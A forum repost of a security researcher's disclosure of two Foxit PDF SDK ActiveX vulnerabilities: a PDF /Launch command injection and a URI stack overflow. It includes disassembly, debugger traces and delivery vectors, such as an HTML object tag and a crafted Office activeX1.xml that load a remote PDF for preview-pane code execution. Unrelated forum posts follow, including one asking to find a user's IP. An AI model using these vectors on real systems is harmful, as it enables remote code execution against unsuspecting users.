JavaScript. If I went after a memory corruption bug, then I may have a harder time for exploitation since I can’t script anything. The Vulnerabilities CVE-2018-19418 - Launch Action New Window Command Injection Since this was an untouched PDF parser that is remotely accessible I decided to go after simple things like logic vulnerabilities. The first thing I decided to do was cross reference all calls to CreateProcessW. As it turns out there was a few actually. But the most interesting was the one sub_1049FD60 at loc_104A0E80: .text:10481D95 loc_10481D95: ; CODE XREF: sub_10481D10+81 .text:10481D95 lea ecx, [ebp+ProcessInformation] .text:10481D98 push ecx ; lpProcessInformation .text:10481D99 lea edx, [ebp+StartupInfo] .text:10481D9C push edx ; lpStartupInfo .text:10481D9D push 0 ; lpCurrentDirectory .text:10481D9F push 0 ; lpEnvironment .text:10481DA1 push 0 ; dwCreationFlags .text:10481DA3 push 0 ; bInheritHandles .text:10481DA5 push 0 ; lpThreadAttributes .text:10481DA7 push 0 ; lpProcessAttributes .text:10481DA9 push eax .text:10481DAA lea ecx, [ebp+var_10] .text:10481DAD call sub_10163D59 .text:10481DB2 push eax ; lpCommandLine .text:10481DB3 push 0 ; lpApplicationName .text:10481DB5 call ds:CreateProcessW ; rce This code is reached when parsing a PDF with an /OpenAction of type /Launch. I was also able to bypass any popup by setting the /NewWindow tag to true. Breakpoint 0 hit eax=05de3fc4 ebx=05f58dc8 ecx=001dee6c edx=001dee18 esi=001dee94 edi=05b07f50 eip=04ae1db5 esp=001dede8 ebp=001dee7c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5: 04ae1db5 ff155403ce04 call dword ptr [FoxitPDFSDK_AX_Std!DllCanUnloadNow+0x5da73 (04ce0354)] ds:0023:04ce0354={kernel32!CreateProcessW (75d5204d)} 0:000> du poi(@esp+4) 05de3fc4 "c:\Windows\System32\calc.exe" <-- whatever we want 0:000> kv ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 001dee7c 04ae2612 440f2825 05f58dc8 05ff3fd8 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5 001deecc 04ae27e6 05f10fe8 05ff3fd8 05b07f50 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x1022 001deef8 04ae90be 05f58dc8 440f29c9 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x11f6 001def20 0466c70f 001def74 05dbbf80 440f297d FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7ace 001def94 046766f7 05d6cfd8 04f3d4c8 440f2925 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDisplayStartDate+0x4caf 001defcc 046b789a 06339fd4 001def9c 046958f3 FoxitPDFSDK_AX_Std!DllUnregisterServer+0x328e 001df07c 046961f0 04ce7ea8 00000001 001df184 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0x2c106 001df114 1005cf6a 00000001 0000000f 0fe4c2b4 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0xaa5c 001df1e0 1004819a 0000000f 00000001 0000000b mfc140u+0x29cf6a 001df208 100a4a52 0000000f 00000001 0000000b mfc140u+0x28819a 001df230 00c83c87 001dfb64 0000000f 00000001 mfc140u+0x2e4a52 001df2a0 1001e03d 00000110 00000000 001df2dc image00c80000+0x3c87 001df2b0 7717c4b7 0009048a 00000110 0008047a mfc140u+0x25e03d 001df2dc 77195825 1001e000 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df358 771959c3 00000000 1001e000 0009048a USER32!CreateDialogParamW+0x225 001df3a0 77195bb3 00000000 00000110 0008047a USER32!CreateDialogParamW+0x3c3 001df3bc 7717c4b7 0009048a 00000110 0008047a USER32!DefDlgProcW+0x22 001df3e8 7717c5b7 77195b91 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df460 77171b01 00000000 77195b91 0009048a USER32!gapfnScSendMessage+0x2cf 001df490 77171b27 77195b91 0009048a 00000110 USER32!PeekMessageA+0x18c CVE-2018-19447 - URI Parsing Stack Based Buffer Overflow While I was reversing for the logic issues, I happened to stumble upon a neat stack buffer overflow in sub_104CC8B0 at loc_104CC981 when attempting to copy user supplied URI’s to the String1 buffer: .text:104CC981 loc_104CC981: ; CODE XREF: sub_104CC8B0+C3 .text:104CC981 ; sub_104CC8B0+CA .text:104CC981 push offset word_106837E0 ; lpString2 .text:104CC986 lea eax, [ebp+String1] .text:104CC98C push eax ; lpString1 .text:104CC98D call ebx ; lstrcatW .text:104CC98F push edi ; lpString2 .text:104CC990 lea ecx, [ebp+String1] .text:104CC996 push ecx ; lpString1 .text:104CC997 call ebx ; calls lstrcatW to trigger the stack overflow This function was protected via stack cookies and /SAFESEH was enabled at compile time making this much harder to exploit. Having said that, we will see how we can circumvent these protections in upcoming blog posts! STATUS_STACK_BUFFER_OVERRUN encountered (a50.1064): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=2da3944c ecx=75e9e4f4 edx=0031c085 esi=00000000 edi=238c2f50 eip=75e9e371 esp=0031c2cc ebp=0031c348 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 kernel32!UnhandledExceptionFilter+0x5f: 75e9e371 cc int 3 0:000> kv L10 # ChildEBP RetAddr Args to Child 00 0031c348 2d4cd47d 2da3944c 96120647 69edf9b8 kernel32!UnhandledExceptionFilter+0x5f (FPO: [Non-Fpo]) WARNING: Stack unwind information not available. Following frames may be wrong. 01 0031c67c 2d84ca09 00000044 00000000 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDocEventHandler+0x12427 02 0031caec 00410041 00410041 00410041 00410041 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x4b419 03 0031caf0 00410041 00410041 00410041 00410041 0x410041 04 0031caf4 00410041 00410041 00410041 00410041 0x410041 05 0031caf8 00410041 00410041 00410041 00410041 0x410041 06 0031cafc 00410041 00410041 00410041 00410041 0x410041 07 0031cb00 00410041 00410041 00410041 00410041 0x410041 08 0031cb04 00410041 00410041 00410041 00410041 0x410041 09 0031cb08 00410041 00410041 00410041 00410041 0x410041 0a 0031cb0c 00410041 00410041 00410041 00410041 0x410041 0b 0031cb10 00410041 00410041 00410041 00410041 0x410041 0c 0031cb14 00410041 00410041 00410041 00410041 0x410041 0d 0031cb18 00410041 00410041 00410041 00410041 0x410041 0e 0031cb1c 00410041 00410041 00410041 00410041 0x410041 0f 0031cb20 00410041 00410041 00410041 00410041 0x410041 0:000> !exchain 0031c338: kernel32!_except_handler4+0 (75eca332) CRT scope 0, filter: kernel32!UnhandledExceptionFilter+69 (75e9e37e) func: kernel32!UnhandledExceptionFilter+6d (75e9e382) 0031cc44: 00410041 Invalid exception stack at 00410041 But how are we going to trigger these vulnerabilities? The Vectors Since we can’t script anything, we can’t use exposed methods such as OpenFile. However, when inspecting the control further, we can see their is a property that we can probably set called FilePath. Listing ActiveX properties and methods Microsoft Internet Explorer So if we host the following html file from remote, we can essentially render a pdf via the ActiveX control without scripting! <object classid='clsid:F53B7748-643C-4A78-8DBC-01A4855D1A10' id='target' /> <param name="FilePath" value="http://172.16.175.1:9090/sample.pdf" /> </object> saturn:~$ python -m SimpleHTTPServer 9090 Serving HTTP on 0.0.0.0 port 9090 ... 172.16.175.154 - - [21/Nov/2018 09:48:51] "GET / HTTP/1.1" 200 - 172.16.175.154 - - [21/Nov/2018 09:49:28] "GET /sample.pdf HTTP/1.1" 200 - The problem with that is, if this site an untrusted (which it will be probably, unless it’s from the local machine zone) then we get this ugly prompt: Prompts are bad for attackers After clicking “Allow”, the page does render nicely with our crafted pdf file: Rendering PDF files in the browser via Foxit.FoxitPDFSDKProCtrl.5 We can see under Manage add-on’s that after clicking “Allow” on the prompt, we have our attacker’s IP in the whitelist of sites to run this control. Whitelist of approved sites to run the Foxit.FoxitPDFSDKProCtrl.5 control We have a nice vector given that we can of course run all of this within an iframe and load some cat memes for our victim. But the problem is we are one prompt away from no user interaction and on top of that, who even uses Internet Explorer these days anyway? Microsoft Office So at this point, I decided to go through the route of using Microsoft Office. I would imagine its more likely that this product is used in a desktop environment than IE. Also, attack payloads can be crafted for almost all office documents, working in Excel, Word, PowerPoint, Outlook preview pane, etc. The Outlook preview pane is particularly nasty as a user doesn’t even need to open the email that is sent to them, rather just preview it, and we can achieve 100% reliable code execution. The key difference to office vs IE is that there is no prompt for users to run the ActiveX control in Microsoft Word. I tested this on fully patched versions of Office 2013 and Office 2016 Professional using Windows 10 x86 and x64 as the OS. At first I built a poc.docx file but I had some issues setting the FilePath property in Word directly after entering a string and pressing enter: Failing to set the FilePath property, thanks Microsoft, very informative! To solve this, I just crafted the poc.docx with the target ActiveX control and manually modified the word/activeX/activeX1.xml file to set the FilePath ocxPr property and then zipped it all up again. <?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{0F6C092B-6E4C-4976-B386-27A9FD9E96A1}" ax:persistence="persistPropertyBag" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <ax:ocxPr ax:name="_Version" ax:value="327680"/> <ax:ocxPr ax:name="_ExtentX" ax:value="16775"/> <ax:ocxPr ax:name="_ExtentY" ax:value="12582"/> <ax:ocxPr ax:name="_StockProps" ax:value="0"/> <ax:ocxPr ax:name="FilePath" ax:value="http://172.16.175.1:9090/poc.pdf"/> Using that as a base, I saved the poc.docx as a poc.rtf file. Then to further enhance the rtf poc, I used a template from CVE-2018-8174. I replaced the objClass htmlfile with the crafted Foxit.FoxitPDFSDKStdCtrl.5 objClass instead from the previously saved poc.rtf file. The final rtf poc seemed clean to me as it was smaller in size and gave more flexibility for obfuscation and IDS avoidance. Proof of Concept || GTFO CVE-2018-19418 and CVE-2018-19447. Feel free to enjoy the video I also made! Conclusion At this point, I would normally recommend users to disable ActiveX, don’t open untrusted links, blah blah, but in reality, there is no warning for users when instantiating trusted (by trusted I mean safe for initialization and safe for scripting) ActiveX controls in Microsoft Office and possibly no way they even know they installed a product that contains third party ActiveX controls. So my message is directed to developers out there. Just stop developing ActiveX controls, period. If you would like to learn how to perform in depth attacks like these against web application targets then feel free to sign up to my training course Full Stack Web Attack in early October this year. References https://www.blackhillsinfosec.com/having-fun-with-activex-controls-in-microsoft-word/ Sursa: https://srcincite.io/blog/2019/02/01/activex-exploitation-in-2018-instantiation-is-not-scripting.html
    1 point
  16. Pentru cei interesati sa studieze in Marea Britanie. Noi suntem Unistudy si oferim consiliere si asistenta pentru admiterea la institutii de invatamant superior din Marea Britanie, asta inseamna undergrad, master sau chiar PhD. Suntem parteneri cu peste o suta de universitati din UK si stim ce cauta acestea intr-un aplicant; de aceea va invitam sa apelati cu incredere la noi pentru orice informatii sau indrumare referitoare la aplicatiile UCAS, redactarea scrisorii de intentie si/sau pregatirea pentru interviu. Fireste, putem oferi consiliere personalizata si celor ambitiosi care si-ar dori sa aplice la medicina sau la alte cursuri al grupului universitatilor de top din Marea Britanie. De asemenea daca ati dori sa aflati mai multe informatii despre brexit sau despre noi si serviciile pe care le oferim nu ezitati sa ne contactati aici, pe siteul nostru sau pe pagina noastra de Facebook.
    -1 points
  17. dupa aia incerc sa aflu mai multe cu nmap si ... alte teste nimic grav
    -1 points
  18. Poate cineva sa-mi gaseasca ip=ul unui "nickname"? mai multe detalli nu am id este canada_56 .multumesc celui care ma ajuta
    -1 points
  19. Daca doriti sa va apucati de dropshiping eu va propun acest curs : https://startaio.ro/?wpam_id=68 Eu de aici am invatat si am reusit sa fac mii de lei in cateva zile , din punctul meu de vedere este cel mai bun curs! 😏GIVE IT A TRY 😏
    -2 points
×
×
  • Create New...